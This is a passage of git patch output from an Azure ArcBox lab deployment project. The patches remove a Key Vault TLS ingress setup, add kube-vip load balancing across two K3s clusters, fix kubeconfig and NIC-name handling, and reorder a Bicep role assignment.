publicIpAddress.id -// } var k3sControlPlane = 'true' // deploy single-node k3s control plane var diskSize = (flavor == 'DataOps') ? 512 : 64 - - -// resource networkInterface 'Microsoft.Network/networkInterfaces@2022-01-01' = { -// name: networkInterfaceName -// location: azureLocation -// properties: { -// ipConfigurations: [ -// { -// name: 'ipconfig1' -// properties: { -// subnet: { -// id: subnetId -// } -// privateIPAllocationMethod: 'Dynamic' -// publicIPAddress: deployBastion== false ? PublicIPNoBastion : null -// } -// } -// ] -// } -// } - -// resource publicIpAddress 'Microsoft.Network/publicIpAddresses@2022-01-01' = if(deployBastion == false){ -// name: publicIpAddressName -// location: azureLocation -// properties: { -// publicIPAllocationMethod: 'Static' -// publicIPAddressVersion: 'IPv4' -// idleTimeoutInMinutes: 4 -// } -// sku: { -// name: 'Basic' -// } -// } +var numberOfIPAddresses = (flavor == 'DataOps') ? 7 : 5 // The number of IP addresses to create // Create multiple public IP addresses if deployBastion is false resource publicIpAddresses 'Microsoft.Network/publicIpAddresses@2022-01-01' = [for i in range(1, numberOfIPAddresses): { From c6cba69df6b3f9400bdeb249fc1c0bb31ac1ae16 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Tue, 4 Jun 2024 22:26:14 -0400 Subject: [PATCH 129/456] remove kv extension --- .../artifacts/DevOpsLogonScript.ps1 | 76 +++++++++---------- .../artifacts/devops_ingress/bookbuyer.yaml | 53 ------------- .../artifacts/devops_ingress/bookstore.yaml | 53 ------------- .../artifacts/devops_ingress/hello-arc.yaml | 53 ------------- 4 files changed, 38 insertions(+), 197 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 index 402eaace64..c805bd1c70 100644 --- a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 @@ -10,7 +10,7 @@ $osmCLIReleaseVersion = "v1.2.3" $osmMeshName = "osm" $ingressNamespace = "ingress-nginx" -$certname = "ingress-cert" +# $certname = "ingress-cert" $certdns = "arcbox.devops.com" $appClonedRepo = "https://github.com/$Env:githubUser/azure-arc-jumpstart-apps" @@ -198,43 +198,43 @@ az k8s-configuration flux create ` --branch main --sync-interval 3s ` --kustomization name=helloarc path=./hello-arc/yaml -################################################ -# - Install Key Vault Extension / Create Ingress -################################################ - -Write-Header "Installing KeyVault Extension" - -Write-Host "Generating a TLS Certificate" -$cert = New-SelfSignedCertificate -DnsName $certdns -KeyAlgorithm RSA -KeyLength 2048 -NotAfter (Get-Date).AddYears(1) -CertStoreLocation "Cert:\CurrentUser\My" -$certPassword = ConvertTo-SecureString -String "arcbox" -Force -AsPlainText -Export-PfxCertificate -Cert "cert:\CurrentUser\My\$($cert.Thumbprint)" -FilePath "$Env:TempDir\$certname.pfx" -Password $certPassword -Import-PfxCertificate -FilePath "$Env:TempDir\$certname.pfx" -CertStoreLocation Cert:\LocalMachine\Root -Password $certPassword - -Write-Host "Importing the TLS certificate to Key Vault" -az keyvault certificate import ` - --vault-name $Env:keyVaultName ` - --password "arcbox" ` - --name $certname ` - --file "$Env:TempDir\$certname.pfx" - -Write-Host "Installing Azure Key Vault Kubernetes extension instance" -az k8s-extension create ` - --name 'akvsecretsprovider' ` - --extension-type Microsoft.AzureKeyVaultSecretsProvider ` - --scope cluster ` - --cluster-name $Env:k3sArcDataClusterName ` - --resource-group $Env:resourceGroup ` - --cluster-type connectedClusters ` - --release-namespace kube-system ` - --configuration-settings 'secrets-store-csi-driver.enableSecretRotation=true' 'secrets-store-csi-driver.syncSecret.enabled=true' - -# Replace Variable values +# ################################################ +# # - Install Key Vault Extension / Create Ingress +# ################################################ + +# Write-Header "Installing KeyVault Extension" + +# Write-Host "Generating a TLS Certificate" +# $cert = New-SelfSignedCertificate -DnsName $certdns -KeyAlgorithm RSA -KeyLength 2048 -NotAfter (Get-Date).AddYears(1) -CertStoreLocation "Cert:\CurrentUser\My" +# $certPassword = ConvertTo-SecureString -String "arcbox" -Force -AsPlainText +# Export-PfxCertificate -Cert "cert:\CurrentUser\My\$($cert.Thumbprint)" -FilePath "$Env:TempDir\$certname.pfx" -Password $certPassword +# Import-PfxCertificate -FilePath "$Env:TempDir\$certname.pfx" -CertStoreLocation Cert:\LocalMachine\Root -Password $certPassword + +# Write-Host "Importing the TLS certificate to Key Vault" +# az keyvault certificate import ` +# --vault-name $Env:keyVaultName ` +# --password "arcbox" ` +# --name $certname ` +# --file "$Env:TempDir\$certname.pfx" + +# Write-Host "Installing Azure Key Vault Kubernetes extension instance" +# az k8s-extension create ` +# --name 'akvsecretsprovider' ` +# --extension-type Microsoft.AzureKeyVaultSecretsProvider ` +# --scope cluster ` +# --cluster-name $Env:k3sArcDataClusterName ` +# --resource-group $Env:resourceGroup ` +# --cluster-type connectedClusters ` +# --release-namespace kube-system ` +# --configuration-settings 'secrets-store-csi-driver.enableSecretRotation=true' 'secrets-store-csi-driver.syncSecret.enabled=true' + +# # Replace Variable values Get-ChildItem -Path $Env:ArcBoxKVDir | ForEach-Object { - (Get-Content -path $_.FullName -Raw) -Replace '\{JS_CERTNAME}', $certname | Set-Content -Path $_.FullName - (Get-Content -path $_.FullName -Raw) -Replace '\{JS_KEYVAULTNAME}', $Env:keyVaultName | Set-Content -Path $_.FullName + # (Get-Content -path $_.FullName -Raw) -Replace '\{JS_CERTNAME}', $certname | Set-Content -Path $_.FullName + # (Get-Content -path $_.FullName -Raw) -Replace '\{JS_KEYVAULTNAME}', $Env:keyVaultName | Set-Content -Path $_.FullName (Get-Content -path $_.FullName -Raw) -Replace '\{JS_HOST}', $certdns | Set-Content -Path $_.FullName - (Get-Content -path $_.FullName -Raw) -Replace '\{JS_TENANTID}', $Env:spnTenantId | Set-Content -Path $_.FullName + # (Get-Content -path $_.FullName -Raw) -Replace '\{JS_TENANTID}', $Env:spnTenantId | Set-Content -Path $_.FullName } Write-Header "Creating Ingress Controller" @@ -242,8 +242,8 @@ Write-Header "Creating Ingress Controller" # Deploy Ingress resources for Bookstore and Hello-Arc App foreach ($namespace in @('bookstore', 'bookbuyer', 'hello-arc')) { # Create the Kubernetes secret with the service principal credentials - kubectl create secret generic secrets-store-creds --namespace $namespace --from-literal clientid=$Env:spnClientID --from-literal clientsecret=$Env:spnClientSecret - kubectl --namespace $namespace label secret secrets-store-creds secrets-store.csi.k8s.io/used=true + # kubectl create secret generic secrets-store-creds --namespace $namespace --from-literal clientid=$Env:spnClientID --from-literal clientsecret=$Env:spnClientSecret + # kubectl --namespace $namespace label secret secrets-store-creds secrets-store.csi.k8s.io/used=true # Deploy Key Vault resources and Ingress for Book Store and Hello-Arc App kubectl --namespace $namespace apply -f "$Env:ArcBoxKVDir\$namespace.yaml" @@ -284,7 +284,7 @@ Write-Header "Creating Desktop Icons" $shortcutLocation = "$Env:Public\Desktop\K3s Hello-Arc.lnk" $wScriptShell = New-Object -ComObject WScript.Shell $shortcut = $wScriptShell.CreateShortcut($shortcutLocation) -$shortcut.TargetPath = "https://$certdns" +$shortcut.TargetPath = "http://$certdns" $shortcut.IconLocation="$Env:ArcBoxIconDir\arc.ico, 0" $shortcut.WindowStyle = 3 $shortcut.Save() diff --git a/azure_jumpstart_arcbox/artifacts/devops_ingress/bookbuyer.yaml b/azure_jumpstart_arcbox/artifacts/devops_ingress/bookbuyer.yaml index 1b847169b4..1b611819cc 100644 --- a/azure_jumpstart_arcbox/artifacts/devops_ingress/bookbuyer.yaml +++ b/azure_jumpstart_arcbox/artifacts/devops_ingress/bookbuyer.yaml @@ -1,52 +1,3 @@ -apiVersion: secrets-store.csi.x-k8s.io/v1 -kind: SecretProviderClass -metadata: - name: azure-kv-sync-tls -spec: - provider: azure - secretObjects: # secretObjects defines the desired state of synced K8s secret objects - - secretName: ingress-tls-csi - type: kubernetes.io/tls - data: - - objectName: {JS_CERTNAME} - key: tls.key - - objectName: {JS_CERTNAME} - key: tls.crt - parameters: - usePodIdentity: "false" - keyvaultName: {JS_KEYVAULTNAME} - objects: | - array: - - | - objectName: {JS_CERTNAME} - objectType: secret - tenantId: {JS_TENANTID} ---- -apiVersion: v1 -kind: Pod -metadata: - name: busybox-secrets-sync -spec: - containers: - - name: busybox - image: k8s.gcr.io/e2e-test-images/busybox:1.29 - command: - - "/bin/sleep" - - "10000" - volumeMounts: - - name: secrets-store-inline - mountPath: "/mnt/secrets-store" - readOnly: true - volumes: - - name: secrets-store-inline - csi: - driver: secrets-store.csi.k8s.io - readOnly: true - volumeAttributes: - secretProviderClass: "azure-kv-sync-tls" - nodePublishSecretRef: - name: secrets-store-creds ---- apiVersion: networking.k8s.io/v1 kind: Ingress metadata: @@ -55,10 +6,6 @@ metadata: kubernetes.io/ingress.class: nginx nginx.ingress.kubernetes.io/rewrite-target: /$1 spec: - tls: - - hosts: - - {JS_HOST} - secretName: ingress-tls-csi rules: - host: {JS_HOST} http: diff --git a/azure_jumpstart_arcbox/artifacts/devops_ingress/bookstore.yaml b/azure_jumpstart_arcbox/artifacts/devops_ingress/bookstore.yaml index 26c8238a15..f02c21a829 100644 --- a/azure_jumpstart_arcbox/artifacts/devops_ingress/bookstore.yaml +++ b/azure_jumpstart_arcbox/artifacts/devops_ingress/bookstore.yaml @@ -1,52 +1,3 @@ -apiVersion: secrets-store.csi.x-k8s.io/v1 -kind: SecretProviderClass -metadata: - name: azure-kv-sync-tls -spec: - provider: azure - secretObjects: # secretObjects defines the desired state of synced K8s secret objects - - secretName: ingress-tls-csi - type: kubernetes.io/tls - data: - - objectName: {JS_CERTNAME} - key: tls.key - - objectName: {JS_CERTNAME} - key: tls.crt - parameters: - usePodIdentity: "false" - keyvaultName: {JS_KEYVAULTNAME} - objects: | - array: - - | - objectName: {JS_CERTNAME} - objectType: secret - tenantId: {JS_TENANTID} ---- -apiVersion: v1 -kind: Pod -metadata: - name: busybox-secrets-sync -spec: - containers: - - name: busybox - image: k8s.gcr.io/e2e-test-images/busybox:1.29 - command: - - "/bin/sleep" - - "10000" - volumeMounts: - - name: secrets-store-inline - mountPath: "/mnt/secrets-store" - readOnly: true - volumes: - - name: secrets-store-inline - csi: - driver: secrets-store.csi.k8s.io - readOnly: true - volumeAttributes: - secretProviderClass: "azure-kv-sync-tls" - nodePublishSecretRef: - name: secrets-store-creds ---- apiVersion: networking.k8s.io/v1 kind: Ingress metadata: @@ -55,10 +6,6 @@ metadata: kubernetes.io/ingress.class: nginx nginx.ingress.kubernetes.io/rewrite-target: /$1 spec: - tls: - - hosts: - - {JS_HOST} - secretName: ingress-tls-csi rules: - host: {JS_HOST} http: diff --git a/azure_jumpstart_arcbox/artifacts/devops_ingress/hello-arc.yaml b/azure_jumpstart_arcbox/artifacts/devops_ingress/hello-arc.yaml index b372aaaf4b..b35c1315a3 100644 --- a/azure_jumpstart_arcbox/artifacts/devops_ingress/hello-arc.yaml +++ b/azure_jumpstart_arcbox/artifacts/devops_ingress/hello-arc.yaml @@ -1,52 +1,3 @@ -apiVersion: secrets-store.csi.x-k8s.io/v1 -kind: SecretProviderClass -metadata: - name: azure-kv-sync-tls -spec: - provider: azure - secretObjects: # secretObjects defines the desired state of synced K8s secret objects - - secretName: ingress-tls-csi - type: kubernetes.io/tls - data: - - objectName: {JS_CERTNAME} - key: tls.key - - objectName: {JS_CERTNAME} - key: tls.crt - parameters: - usePodIdentity: "false" - keyvaultName: {JS_KEYVAULTNAME} - objects: | - array: - - | - objectName: {JS_CERTNAME} - objectType: secret - tenantId: {JS_TENANTID} ---- -apiVersion: v1 -kind: Pod -metadata: - name: busybox-secrets-sync -spec: - containers: - - name: busybox - image: k8s.gcr.io/e2e-test-images/busybox:1.29 - command: - - "/bin/sleep" - - "10000" - volumeMounts: - - name: secrets-store-inline - mountPath: "/mnt/secrets-store" - readOnly: true - volumes: - - name: secrets-store-inline - csi: - driver: secrets-store.csi.k8s.io - readOnly: true - volumeAttributes: - secretProviderClass: "azure-kv-sync-tls" - nodePublishSecretRef: - name: secrets-store-creds ---- apiVersion: networking.k8s.io/v1 kind: Ingress metadata: @@ -55,10 +6,6 @@ metadata: kubernetes.io/ingress.class: nginx nginx.ingress.kubernetes.io/rewrite-target: / spec: - tls: - - hosts: - - {JS_HOST} - secretName: ingress-tls-csi rules: - host: {JS_HOST} http: From f846010461152e01fe03b57949485c883074cb21 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Wed, 5 Jun 2024 14:45:01 -0400 Subject: [PATCH 130/456] add kubevip for service ip --- .../artifacts/DevOpsLogonScript.ps1 | 130 +++++++++++++++++- 1 file changed, 127 insertions(+), 3 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 index c805bd1c70..33f46a174b 100644 --- a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 @@ -15,6 +15,12 @@ $certdns = "arcbox.devops.com" $appClonedRepo = "https://github.com/$Env:githubUser/azure-arc-jumpstart-apps" +$clusters = @( + [pscustomobject]@{clusterName = $Env:k3sArcDataClusterName; context = $Env:k3sArcDataClusterName.ToLower() ; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config-datasvc-k3s" } + + [pscustomobject]@{clusterName = $Env:k3sArcClusterName; context = $Env:k3sArcClusterName.ToLower() ; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config-k3s" } +) + Start-Transcript -Path $Env:ArcBoxLogsDir\DevOpsLogonScript.log # Required for azcopy and Get-AzResource @@ -97,10 +103,128 @@ az config set extension.use_dynamic_install=yes_without_prompt Write-Host "`n" az -v -# Longhorn setup for RWX-capable storage class -Write-Header "Creating longhorn storage" -kubectl apply -f "$Env:ArcBoxDir\longhorn.yaml" +foreach ($cluster in $clusters) { + +Write-Header "Configuring kube-vip on K3s cluster" +kubectx $cluster.context +kubectl apply -f https://kube-vip.io/manifests/rbac.yaml + +$k3sVIP = az network nic ip-config list --resource-group $Env:resourceGroup --nic-name $cluster.clusterName-NIC --query "[?primary == ``true``].privateIPAddress" -otsv + +$kubeVipDaemonset = @" +apiVersion: apps/v1 +kind: DaemonSet +metadata: + creationTimestamp: null + labels: + app.kubernetes.io/name: kube-vip-ds + app.kubernetes.io/version: v0.7.0 + name: kube-vip-ds + namespace: kube-system +spec: + selector: + matchLabels: + app.kubernetes.io/name: kube-vip-ds + template: + metadata: + creationTimestamp: null + labels: + app.kubernetes.io/name: kube-vip-ds + app.kubernetes.io/version: v0.7.0 + spec: + affinity: + nodeAffinity: + requiredDuringSchedulingIgnoredDuringExecution: + nodeSelectorTerms: + - matchExpressions: + - key: node-role.kubernetes.io/master + operator: Exists + - matchExpressions: + - key: node-role.kubernetes.io/control-plane + operator: Exists + containers: + - args: + - manager + env: + - name: vip_arp + value: "true" + - name: port + value: "6443" + - name: vip_interface + value: eth0 + - name: vip_cidr + value: "32" + - name: dns_mode + value: first + - name: cp_enable + value: "true" + - name: cp_namespace + value: kube-system + - name: svc_enable + value: "true" + - name: svc_leasename + value: plndr-svcs-lock + - name: vip_leaderelection + value: "true" + - name: vip_leasename + value: plndr-cp-lock + - name: vip_leaseduration + value: "5" + - name: vip_renewdeadline + value: "3" + - name: vip_retryperiod + value: "1" + - name: address + value: "$k3sVIP" + - name: prometheus_server + value: :2112 + image: ghcr.io/kube-vip/kube-vip:v0.7.0 + imagePullPolicy: Always + name: kube-vip + resources: {} + securityContext: + capabilities: + add: + - NET_ADMIN + - NET_RAW + hostNetwork: true + serviceAccountName: kube-vip + tolerations: + - effect: NoSchedule + operator: Exists + - effect: NoExecute + operator: Exists + updateStrategy: {} +status: + currentNumberScheduled: 0 + desiredNumberScheduled: 0 + numberMisscheduled: 0 + numberReady: 0 +"@ + +$kubeVipDaemonset | kubectl apply -f - + +# Kube vip cloud controller +kubectl apply -f https://raw.githubusercontent.com/kube-vip/kube-vip-cloud-provider/main/manifest/kube-vip-cloud-controller.yaml + +$serviceIpRange = az network nic ip-config list --resource-group $Env:resourceGroup --nic-name $cluster.clusterName-NIC --query "[?primary == ``false``].privateIPAddress" -otsv +$sortedIps = $serviceIpRange | Sort-Object {[System.Version]$_} +$lowestServiceIp = $sortedIps[0] +$highestServiceIp = $sortedIps[-1] + +kubectl create configmap -n kube-system kubevip --from-literal range-global=$lowestServiceIp-$highestServiceIp +Start-Sleep -Seconds 30 + +Write-Header "Creating longhorn storage on K3scluster" +kubectl apply -f "$Env:ArcBoxDir\longhorn.yaml" --kubeconfig $cluster.kubeConfig Start-Sleep -Seconds 30 +Write-Host "`n" +} + +# # Longhorn setup for RWX-capable storage class +# Write-Header "Creating longhorn storage" +# kubectl apply -f "$Env:ArcBoxDir\longhorn.yaml" +# Start-Sleep -Seconds 30 # "Create OSM Kubernetes extension instance" Write-Header "Creating OSM K8s Extension Instance" From 541d52610400af5e965b1f485ac17719eadb575d Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Wed, 5 Jun 2024 22:36:12 -0400 Subject: [PATCH 131/456] fix kube config --- azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 index 33f46a174b..5ecffbc78d 100644 --- a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 @@ -16,9 +16,9 @@ $certdns = "arcbox.devops.com" $appClonedRepo = "https://github.com/$Env:githubUser/azure-arc-jumpstart-apps" $clusters = @( - [pscustomobject]@{clusterName = $Env:k3sArcDataClusterName; context = $Env:k3sArcDataClusterName.ToLower() ; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config-datasvc-k3s" } + [pscustomobject]@{clusterName = $Env:k3sArcDataClusterName; context = "arcbox-datasvc-k3s" ; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config" } - [pscustomobject]@{clusterName = $Env:k3sArcClusterName; context = $Env:k3sArcClusterName.ToLower() ; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config-k3s" } + [pscustomobject]@{clusterName = $Env:k3sArcClusterName; context = "arcbox-k3s" ; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config" } ) Start-Transcript -Path $Env:ArcBoxLogsDir\DevOpsLogonScript.log @@ -207,7 +207,8 @@ $kubeVipDaemonset | kubectl apply -f - # Kube vip cloud controller kubectl apply -f https://raw.githubusercontent.com/kube-vip/kube-vip-cloud-provider/main/manifest/kube-vip-cloud-controller.yaml -$serviceIpRange = az network nic ip-config list --resource-group $Env:resourceGroup --nic-name $cluster.clusterName-NIC --query "[?primary == ``false``].privateIPAddress" -otsv +$nicName = $cluster.clusterName + "-NIC" +$serviceIpRange = az network nic ip-config list --resource-group $Env:resourceGroup --nic-name $nicName --query "[?primary == ``false``].privateIPAddress" -otsv $sortedIps = $serviceIpRange | Sort-Object {[System.Version]$_} $lowestServiceIp = $sortedIps[0] $highestServiceIp = $sortedIps[-1] @@ -228,6 +229,7 @@ Write-Host "`n" # "Create OSM Kubernetes extension instance" Write-Header "Creating OSM K8s Extension Instance" +kubectx $clusters[0].context az k8s-extension create ` --name $osmMeshName ` --extension-type Microsoft.openservicemesh ` From 905f5550b97e064d4dccd407a5acd6cd37256195 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Thu, 6 Jun 2024 00:06:29 -0400 Subject: [PATCH 132/456] fix nic name --- azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 index 5ecffbc78d..6487d5e756 100644 --- a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 @@ -109,6 +109,7 @@ Write-Header "Configuring kube-vip on K3s cluster" kubectx $cluster.context kubectl apply -f https://kube-vip.io/manifests/rbac.yaml +$nicName = $cluster.clusterName + "-NIC" $k3sVIP = az network nic ip-config list --resource-group $Env:resourceGroup --nic-name $cluster.clusterName-NIC --query "[?primary == ``true``].privateIPAddress" -otsv $kubeVipDaemonset = @" @@ -207,7 +208,6 @@ $kubeVipDaemonset | kubectl apply -f - # Kube vip cloud controller kubectl apply -f https://raw.githubusercontent.com/kube-vip/kube-vip-cloud-provider/main/manifest/kube-vip-cloud-controller.yaml -$nicName = $cluster.clusterName + "-NIC" $serviceIpRange = az network nic ip-config list --resource-group $Env:resourceGroup --nic-name $nicName --query "[?primary == ``false``].privateIPAddress" -otsv $sortedIps = $serviceIpRange | Sort-Object {[System.Version]$_} $lowestServiceIp = $sortedIps[0] From 246b7d32b0396d75ee24c8dde30bb68c293d87f5 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Thu, 6 Jun 2024 13:41:17 -0400 Subject: [PATCH 133/456] fix nic name --- azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 index 6487d5e756..7025e8d340 100644 --- a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 @@ -110,7 +110,7 @@ kubectx $cluster.context kubectl apply -f https://kube-vip.io/manifests/rbac.yaml $nicName = $cluster.clusterName + "-NIC" -$k3sVIP = az network nic ip-config list --resource-group $Env:resourceGroup --nic-name $cluster.clusterName-NIC --query "[?primary == ``true``].privateIPAddress" -otsv +$k3sVIP = az network nic ip-config list --resource-group $Env:resourceGroup --nic-name $nicName --query "[?primary == ``true``].privateIPAddress" -otsv $kubeVipDaemonset = @" apiVersion: apps/v1 From 2cfb09b9d54cd8406e9aabdefc4deaef99115712 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Thu, 6 Jun 2024 14:21:02 -0400 Subject: [PATCH 134/456] fix kube config --- .../artifacts/DevOpsLogonScript.ps1 | 30 ++++++++++--------- 1 file changed, 16 insertions(+), 14 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 index 7025e8d340..3562707cac 100644 --- a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 @@ -18,7 +18,7 @@ $appClonedRepo = "https://github.com/$Env:githubUser/azure-arc-jumpstart-apps" $clusters = @( [pscustomobject]@{clusterName = $Env:k3sArcDataClusterName; context = "arcbox-datasvc-k3s" ; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config" } - [pscustomobject]@{clusterName = $Env:k3sArcClusterName; context = "arcbox-k3s" ; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config" } + [pscustomobject]@{clusterName = $Env:k3sArcClusterName; context = "arcbox-k3s" ; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config-k3s" } ) Start-Transcript -Path $Env:ArcBoxLogsDir\DevOpsLogonScript.log @@ -76,17 +76,17 @@ $sourceFile = "https://$Env:stagingStorageAccountName.blob.core.windows.net/$($E $sourceFile = $sourceFile + "?" + $sas azcopy cp --check-md5 FailIfDifferentOrMissing $sourceFile "$Env:ArcBoxLogsDir\" --include-pattern "*.log" -# Merging kubeconfig files from ArcBox-DataSvc-K3s and ArcBox-K3s -Write-Header "Merging ArcBox-DataSvc-K3s & ArcBox-K3s Kubeconfigs" -Copy-Item -Path "C:\Users\$Env:USERNAME\.kube\config" -Destination "C:\Users\$Env:USERNAME\.kube\config.backup" -$Env:KUBECONFIG="C:\Users\$Env:USERNAME\.kube\config;C:\Users\$Env:USERNAME\.kube\config-k3s" -kubectl config view --raw > C:\users\$Env:USERNAME\.kube\config_tmp -kubectl config get-clusters --kubeconfig=C:\users\$Env:USERNAME\.kube\config_tmp -Remove-Item -Path "C:\Users\$Env:USERNAME\.kube\config" -Remove-Item -Path "C:\Users\$Env:USERNAME\.kube\config-k3s" -Move-Item -Path "C:\Users\$Env:USERNAME\.kube\config_tmp" -Destination "C:\users\$Env:USERNAME\.kube\config" -$Env:KUBECONFIG="C:\users\$Env:USERNAME\.kube\config" -kubectx +# # Merging kubeconfig files from ArcBox-DataSvc-K3s and ArcBox-K3s +# Write-Header "Merging ArcBox-DataSvc-K3s & ArcBox-K3s Kubeconfigs" +# Copy-Item -Path "C:\Users\$Env:USERNAME\.kube\config" -Destination "C:\Users\$Env:USERNAME\.kube\config.backup" +# $Env:KUBECONFIG="C:\Users\$Env:USERNAME\.kube\config;C:\Users\$Env:USERNAME\.kube\config-k3s" +# kubectl config view --raw > C:\users\$Env:USERNAME\.kube\config_tmp +# kubectl config get-clusters --kubeconfig=C:\users\$Env:USERNAME\.kube\config_tmp +# Remove-Item -Path "C:\Users\$Env:USERNAME\.kube\config" +# Remove-Item -Path "C:\Users\$Env:USERNAME\.kube\config-k3s" +# Move-Item -Path "C:\Users\$Env:USERNAME\.kube\config_tmp" -Destination "C:\users\$Env:USERNAME\.kube\config" +# $Env:KUBECONFIG="C:\users\$Env:USERNAME\.kube\config" +# kubectx # Download OSM binaries Write-Header "Downloading OSM Binaries" @@ -106,7 +106,8 @@ az -v foreach ($cluster in $clusters) { Write-Header "Configuring kube-vip on K3s cluster" -kubectx $cluster.context +$Env:KUBECONFIG=$cluster.kubeConfig +kubectx kubectl apply -f https://kube-vip.io/manifests/rbac.yaml $nicName = $cluster.clusterName + "-NIC" @@ -229,7 +230,8 @@ Write-Host "`n" # "Create OSM Kubernetes extension instance" Write-Header "Creating OSM K8s Extension Instance" -kubectx $clusters[0].context +$Env:KUBECONFIG=$cluster[0].kubeConfig +kubectx az k8s-extension create ` --name $osmMeshName ` --extension-type Microsoft.openservicemesh ` From 18cd0b27d09495302b64e538da0f89cf8e1faba7 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Thu, 6 Jun 2024 14:48:42 -0400 Subject: [PATCH 135/456] Add role assignment dependency --- .../bicep/kubernetes/ubuntuRancher.bicep | 23 +++++++++++-------- .../bicep/kubernetes/ubuntuRancherNodes.bicep | 23 +++++++++++-------- 2 files changed, 26 insertions(+), 20 deletions(-) diff --git a/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep b/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep index 9eef2d56ff..b06ca94334 100644 --- a/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep +++ b/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep @@ -156,6 +156,16 @@ resource vm 'Microsoft.Compute/virtualMachines@2022-03-01' = { } } +// Add role assignment for the VM: Owner role +resource vmRoleAssignment_Owner 'Microsoft.Authorization/roleAssignments@2022-04-01' = { + name: guid(vm.id, 'Microsoft.Authorization/roleAssignments', 'Owner') + scope: resourceGroup() + properties: { + principalId: vm.identity.principalId + roleDefinitionId: resourceId('Microsoft.Authorization/roleDefinitions', '8e3af657-a8ff-443c-a75c-2fe8c4bcb635') + } +} + resource vmInstallscriptK3s 'Microsoft.Compute/virtualMachines/extensions@2022-03-01' = { parent: vm name: 'installscript_k3s' @@ -173,14 +183,7 @@ resource vmInstallscriptK3s 'Microsoft.Compute/virtualMachines/extensions@2022-0 ] } } -} - -// Add role assignment for the VM: Owner role -resource vmRoleAssignment_Owner 'Microsoft.Authorization/roleAssignments@2022-04-01' = { - name: guid(vm.id, 'Microsoft.Authorization/roleAssignments', 'Owner') - scope: resourceGroup() - properties: { - principalId: vm.identity.principalId - roleDefinitionId: resourceId('Microsoft.Authorization/roleDefinitions', '8e3af657-a8ff-443c-a75c-2fe8c4bcb635') - } + dependsOn: [ + vmRoleAssignment_Owner + ] } diff --git a/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancherNodes.bicep b/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancherNodes.bicep index f76002a3a1..50e84b71c9 100644 --- a/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancherNodes.bicep +++ b/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancherNodes.bicep @@ -131,6 +131,16 @@ resource vm 'Microsoft.Compute/virtualMachines@2022-03-01' = { } } +// Add role assignment for the VM: Owner role +resource vmRoleAssignment_Owner 'Microsoft.Authorization/roleAssignments@2022-04-01' = { + name: guid(vm.id, 'Microsoft.Authorization/roleAssignments', 'Owner') + scope: resourceGroup() + properties: { + principalId: vm.identity.principalId + roleDefinitionId: resourceId('Microsoft.Authorization/roleDefinitions', '8e3af657-a8ff-443c-a75c-2fe8c4bcb635') + } +} + resource vmInstallscriptK3s 'Microsoft.Compute/virtualMachines/extensions@2022-03-01' = { parent: vm name: 'installscript_k3s' @@ -148,14 +158,7 @@ resource vmInstallscriptK3s 'Microsoft.Compute/virtualMachines/extensions@2022-0 ] } } -} - -// Add role assignment for the VM: Owner role -resource vmRoleAssignment_Owner 'Microsoft.Authorization/roleAssignments@2022-04-01' = { - name: guid(vm.id, 'Microsoft.Authorization/roleAssignments', 'Owner') - scope: resourceGroup() - properties: { - principalId: vm.identity.principalId - roleDefinitionId: resourceId('Microsoft.Authorization/roleDefinitions', 